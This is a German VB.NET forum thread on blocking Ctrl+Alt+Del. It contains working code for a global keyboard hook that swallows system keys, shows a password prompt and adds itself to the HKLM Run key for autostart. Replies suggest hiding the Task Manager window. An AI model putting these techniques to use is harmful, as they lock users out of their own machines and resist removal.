Entf Strg Alt

  • VB.NET

Es gibt 17 Antworten in diesem Thema. Der letzte Beitrag () ist von hal2000.

    Entf Strg Alt

    Ich habe einen code mit dem ich alle tasten sperren kann. Blos weiß ich nicht wie ich diese tastenkombination sperre.

    VB.NET-Quellcode

    1. Private Declare Sub keybb_event Lib "user32" ( _
    2. ByVal bVk As Byte, _
    3. ByVal bScan As Byte, _
    4. ByVal dwFlags As Integer, _
    5. ByVal dwExtraInfo As Integer)
    6. Private Const KEYEVENTF_KEYUP = &H2
    7. Private Delegate Function HOOKPROCDelegate( _
    8. ByVal nCode As Integer, _
    9. ByVal wParam As IntPtr, _
    10. ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    11. ' dauerhafte Delegaten-Variable erzeugen
    12. Private HookProc As New HOOKPROCDelegate(AddressOf KeyboardHookProc)
    13. Private Declare Unicode Function GetModuleHandleW Lib "kernel32.dll" ( _
    14. ByVal lpModuleName As IntPtr) As IntPtr
    15. ' Die Funktion, um einen globalen Hook setzen zu können:
    16. Private Declare Unicode Function SetWindowsHookExW Lib "user32.dll" ( _
    17. ByVal idHook As Integer, _
    18. ByVal lpfn As HOOKPROCDelegate, _
    19. ByVal hMod As IntPtr, _
    20. ByVal dwThreadId As UInteger) As IntPtr
    21. ' Für das Löschen des Hooks wird diese Funktion verwendet:
    22. Private Declare Unicode Function UnhookWindowsHookEx Lib "user32.dll" ( _
    23. ByVal hhk As IntPtr) As UInteger
    24. Private Declare Unicode Function CallNextHookEx Lib "user32.dll" ( _
    25. ByVal hhk As IntPtr, _
    26. ByVal nCode As Integer, _
    27. ByVal wParam As IntPtr, _
    28. ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    29. Private Const WM_KEYDOWN As Int32 = &H100 ' Konstante für WM_KEYDOWN
    30. Private Const WM_KEYUP As Int32 = &H101 ' Konstante für WM_KEYUP
    31. Private Const HC_ACTION As Integer = 0 ' Konstante für HC_ACTION
    32. Private Const WH_KEYBOARD_LL As Integer = 13 ' Konstante für WH_KEYBOARD_LL
    33. Public PrevWndProc As Integer
    34. Private mHandle As IntPtr
    35. <StructLayout(LayoutKind.Sequential)> Public Structure KBDLLHOOKSTRUCT
    36. Public vkCode As Keys
    37. Public scanCode, flags, time, dwExtraInfo As UInteger
    38. Public Sub New(ByVal key As Keys, _
    39. ByVal scancod As UInteger, _
    40. ByVal flagss As UInteger, _
    41. ByVal zeit As UInteger, _
    42. ByVal extra As UInteger)
    43. vkCode = key
    44. scanCode = scancod
    45. flags = flagss
    46. time = zeit
    47. dwExtraInfo = extra
    48. End Sub
    49. End Structure
    50. ' Um den Hook ein-/ausschalten zu können:
    51. Public Property KeyHookEnable() As Boolean
    52. Get
    53. Return mHandle <> IntPtr.Zero
    54. End Get
    55. Set(ByVal value As Boolean)
    56. If KeyHookEnable = value Then Return
    57. If value Then
    58. mHandle = SetWindowsHookExW(WH_KEYBOARD_LL, HookProc, _
    59. GetModuleHandleW(IntPtr.Zero), 0)
    60. Else
    61. UnhookWindowsHookEx(mHandle)
    62. mHandle = IntPtr.Zero
    63. End If
    64. End Set
    65. End Property
    66. ' Hiermit wird der Tastendruck VOR dem Betriebssystem abgefangen:
    67. ' wParam kann folgende Werte annehmen:
    68. ' WM_KEYUP und WM_KEYDOWN (Taste gedrückt/losgelassen)
    69. ' wird fEatKeyStroke=true gesetzt, so wird dieser Tastendruck "verschluckt",
    70. ' d. h. er hat für das System NIE statt gefunden.
    71. Private Function KeyboardHookProc(ByVal nCode As Integer, _
    72. ByVal wParam As IntPtr, _
    73. ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    74. Dim fEatKeyStroke As Boolean
    75. If nCode = HC_ACTION Then
    76. Select Case lParam.vkCode
    77. Case Keys.Shift
    78. fEatKeyStroke = True
    79. Case Keys.Alt
    80. fEatKeyStroke = True
    81. Case Keys.Home
    82. fEatKeyStroke = True
    83. Case Keys.Enter
    84. fEatKeyStroke = True
    85. Case Keys.Tab
    86. fEatKeyStroke = True
    87. Case Keys.End
    88. fEatKeyStroke = True
    89. Case Keys.Escape
    90. fEatKeyStroke = True
    91. Case Keys.LWin
    92. fEatKeyStroke = True
    93. Case Keys.RWin
    94. fEatKeyStroke = True
    95. Case Keys.Delete
    96. fEatKeyStroke = True
    97. End Select
    98. If fEatKeyStroke Then
    99. Return New IntPtr(1)
    100. Exit Function
    101. End If
    102. Return CallNextHookEx(mHandle, nCode, wParam, lParam)
    103. End If
    104. End Function
    105. Private Sub Form1_Load(ByVal sender As System.Object, _
    106. ByVal e As System.EventArgs) Handles MyBase.Load
    107. ' Hook einschalten:
    108. KeyHookEnable = True
    109. Label1.Text = "Geben Sie das richtige Passwort ein!!"
    110. Dim oRegKey As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
    111. oRegKey.SetValue(My.Application.Info.AssemblyName, System.Windows.Forms.Application.ExecutablePath)
    112. End Sub
    113. Private Sub Form1_Closing(ByVal sender As System.Object, _
    114. ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
    115. ' WICHTIG! Hook ausschalten beim Beenden nicht vergessen!!!
    116. KeyHookEnable = False
    117. End Sub
    118. End Class


    diesen code benutze ich. Wenn ich bei der stelle

    VB.NET-Quellcode

    1. ' Hiermit wird der Tastendruck VOR dem Betriebssystem abgefangen:
    2. ' wParam kann folgende Werte annehmen:
    3. ' WM_KEYUP und WM_KEYDOWN (Taste gedrückt/losgelassen)
    4. ' wird fEatKeyStroke=true gesetzt, so wird dieser Tastendruck "verschluckt",
    5. ' d. h. er hat für das System NIE statt gefunden.
    6. Private Function KeyboardHookProc(ByVal nCode As Integer, _
    7. ByVal wParam As IntPtr, _
    8. ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    9. Dim fEatKeyStroke As Boolean
    10. If nCode = HC_ACTION Then
    11. Select Case lParam.vkCode
    12. Case Keys.Shift
    13. fEatKeyStroke = True
    14. Case Keys.Alt
    15. fEatKeyStroke = True
    16. Case Keys.Home
    17. fEatKeyStroke = True
    18. Case Keys.Enter
    19. fEatKeyStroke = True
    20. Case Keys.Tab
    21. fEatKeyStroke = True
    22. Case Keys.End
    23. fEatKeyStroke = True
    24. Case Keys.Escape
    25. fEatKeyStroke = True
    26. Case Keys.LWin
    27. fEatKeyStroke = True
    28. Case Keys.RWin
    29. fEatKeyStroke = True
    30. Case Keys.Delete
    31. fEatKeyStroke = True
    32. End Select
    33. If fEatKeyStroke Then
    34. Return New IntPtr(1)
    35. Exit Function
    36. End If
    37. Return CallNextHookEx(mHandle, nCode, wParam, lParam)
    38. End If
    39. End Function


    dies hier eingebe

    VB.NET-Quellcode

    1. Case Keys.Delete , Keys.Alt , Keys.Shift
    2. fEatKeyStroke = True


    dan sperrt er mit die Tasten nicht warum?
    Ganz einfach eigendlich. HC_ACTION gilt nur für Buchstaben, Ziffern, etc. aber nicht für CTRL, ALT, Entf, etc.. Setz mal einen Haltepunkt bei
    If nCode = HC_ACTION Then und kuck, was nCode ist, wenn du ALT oder eine der anderen Tasten drückst, ist. Dann musst du diese Zeile entsprechend erweitern.

    lg

    VB.NET-Quellcode

    1. Option Explicit
    2. 'Deklaration: Globale Form API-Konstanten
    3. Private Const SPI_SCREENSAVERRUNNING As Long = 97&
    4. 'Deklaration: Globale Form API-Funktionnen
    5. Private Declare Function SystemParametersInfo Lib "User32" Alias "SystemParametersInfoA" ( _
    6. ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
    7. ByVal fuWinIni As Long) As Long
    8. Private Sub Command1_Click()
    9. 'Deklaration: Lokale Prozedur-Variablen
    10. Dim lngErgebnis As Long
    11. lngErgebnis = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, "1", 0)
    12. Label1.Caption = "[Strg] + [Alt] + [Entf] ausgeschaltet"
    13. End Sub
    14. Private Sub Command2_Click()
    15. 'Deklaration: Lokale Prozedur-Variablen
    16. Dim lngErgebnis As Long
    17. lngErgebnis = SystemParametersInfo(SPI_SCREENSAVERRUNNING, False, "1", 0)
    18. Label1.Caption = "[Strg] + [Alt] + [Entf] eingeschaltet"
    19. End Sub
    20. Private Sub Form_Load()
    21. 'Control-Eigenschaften initialisieren
    22. Command1.Caption = "Aus"
    23. Command2.Caption = "Ein"
    24. Call Command2_Click
    25. End Sub


    in der 8 zeile



    aber wenn ich bei

    VB.NET-Quellcode

    1. Private Sub Form_Load()
    2. 'Control-Eigenschaften initialisieren
    3. Command1.Caption = "Aus"
    4. Command2.Caption = "Ein"
    5. Call Command2_Click

    bin. muss ich dan Command1.Text machen
    so schaut API deklaration unter VB NET aus:

    VB.NET-Quellcode

    1. Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Integer, ByVal uParam As Integer, ByRef lpvParam As Byte(), ByVal fuWinIni As Integer) As Integer
    kann mir jetzt bitte einer helfen. Der code der functioniert bei mir nicht auch wenn ich ihn umgeschrieben habe, dneke ich das ich ihn umgeschrieben hab. Im internet habe ich auch schon nach geschaut und habe nichts gefunden. Und in meinem Buch setht darümer auch nichts. ?( ?( ?( ?( ?( ?( ?( ?( ?( ?( ?(

    Alex2000 schrieb:

    Du willst Taskmaneger sperren/deaktivieren, bist du fitt in WIN API und Cdoe umschreiben von VB 6 in VB NET,schau mal hier rein viel spaß ... ! :thumbup:
    Zitat aus der Überschrift des Links: "Dieser Tipp ist nicht für NT-basierende Microsoft Windows Betriebssysteme gedacht."
    Windows XP ist ein NT-basierendes System, genau wie auch alle nachfolgenden Versionen. Der Code kann also nicht funktionieren, egal ob umgeschrieben oder nicht.

    Meines Erachtens kann die genannte Tastenkombination nicht deaktiviert werden, denn das System ignoriert selbst BlockInput(True), wenn diese gedrückt wird. BlockInput() ist eine API-Funktion, die die Tastatur komplett sperrt (bis auf Strg-Alt-Entf).
    Gruß
    hal2000
    Das ist bei vielen Spielen so - hat aber einen anderen Grund. Die Spiele zeichnen ihre Oberfläche per DirectX, sind also eine Art "Fullscreen-Overlay" auf dem Desktop. Beim Drücken von Strg-Alt-Entf wird der Taskmanager aufgerufen und angezeigt - du siehst ihn nur nicht, weil er unter dem Game-Overlay liegt. Du kannst ihn allerdings blind steuern, indem du mit der Tastatur auf die Registerkarte "Prozesse" wechselst und nach und nach mit Entf - Enter mehrere Prozesse beendest. Irgendwann beendest du den Spiele-Prozess und du siehst den Taskmanager auf dem Desktop.
    Gruß
    hal2000
    @hal2000: hast recht, da habe ich was übersehen
    @Chris213: Meine oben gepostete Code (Taskmanager de/aktivieren) wird nicht funz, hal2000 hat schon erklärt. Fehlt mir gerade eine andere Möglichkeit ein, du kannst Tasten kombination mit hilfe Hotkey oder API GetAsynkState abfangen danach Fensterhandle mit hilfe API "FindWindow" ermitteln und das Fenster ausblenden.
    Wenn du STRG+ALT+ENTF drückst, der Taskmanager wird kurz angezeigt und danach sofort ausgeblendet, mehr kann ich dir nicht anbieten !

    Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von „Alex2000“ ()

    [...] Hotkey [...]
    Ich glaube, dass auch SetHotKey() die Einschränkung hat, die Systemreservierte Tastenkombination zu registrieren...bin aber nicht sicher. Probier's aus. Eine Möglichkeit wäre noch ein LowLevel-Hook - für das Abfangen eines Tastendrucks erscheint dieser Aufwand jedoch ein wenig überdimensioniert.
    EDIT: Ich sehe gerade, dass der Threadersteller auch das schon versucht hat, wenn auch erfolglos.
    Gruß
    hal2000